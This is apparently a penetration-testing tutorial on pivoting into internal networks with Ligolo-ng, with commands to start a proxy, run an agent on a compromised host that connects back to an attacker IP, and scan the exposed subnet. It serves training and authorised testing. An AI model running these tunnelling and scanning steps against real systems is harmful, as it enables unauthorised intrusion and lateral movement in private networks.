Introduction
During internal infrastructure assessments, compromised hosts act as gateways to hidden internal networks. Traditionally, penetration testers rely on SSH dynamic port forwarding or Chisel to set up SOCKS proxies. While functional, SOCKS configurations often break tool compatibility, complicate Nmap scanning UDP protocols, and require external wrappers like proxychains.
Ligolo-ng solves this operational bottleneck. It is a simple, lightweight, and fast tool that allows security professionals to establish tunnels from a reverse TCP/TLS connection using a dedicated TUN interface. Instead of wrapping individual tools in proxies, Ligolo-NG routes traffic natively through your host operating system, drastically increasing reliability and performance.
Project source: https://github.com/nicocha30/ligolo-ng
Operational Setup
Ligolo-NG uses a server/agent architecture. The attack platform runs the proxy server, while the compromised pivot machine executes the agent payload.
Step 1: Initialize the Proxy Server
Launch the Ligolo-NG proxy on your local attack machine. Using the -selfcert flag automatically generates temporary TLS certificates for securing the communication channel.
sudo proxy -selfcert
Upon execution, the terminal displays the binding details. Take note of the listening port:
...INFO Listening on 0.0.0.0:11601
Step 2: Connect the Agent
Execute the pre-compiled agent binary on the compromised pivot host. Point the connection string back to your attack infrastructure and ignore the self-signed certificate warnings.
.\agent.exe -connect <your-ip>:11601 -ignore-cert
Step 3: Establish Routing
Once the reverse agent connects, return to your proxy server console to manage the active tunnel.
Verify the incoming connection using the session management command:
session
To automatically configure the local routing tables and interface attachments on your attack machine, utilize the built-in route configuration helper:
autoroute
The interactive menu displays all networks available to the remote agent. Use the arrow keys and spacebar to select the target internal subnet you wish to expose:
[Agent : EASYPIVOTING\jason@MS01] » autoroute
? Select routes to add: [Use arrows to move, space to select, <right> to all, <left> to none, type to filter]
> [ ] 172.16.1.5/24
[ ] 10.129.204.178/16
Post-Exploitation Scanning
After selecting the target subnet (such as 172.16.1.0/24), Ligolo-NG provisions a virtual network interface on your local host. You no longer need to prefix commands with proxychains or restrict yourself to basic TCP connect scans. Traffic is routed seamlessly down the tunnel at the network layer.
You can now interact with the internal environment using native tools directly from your attack terminal:
ping 172.16.1.10
nmap 172.16.1.10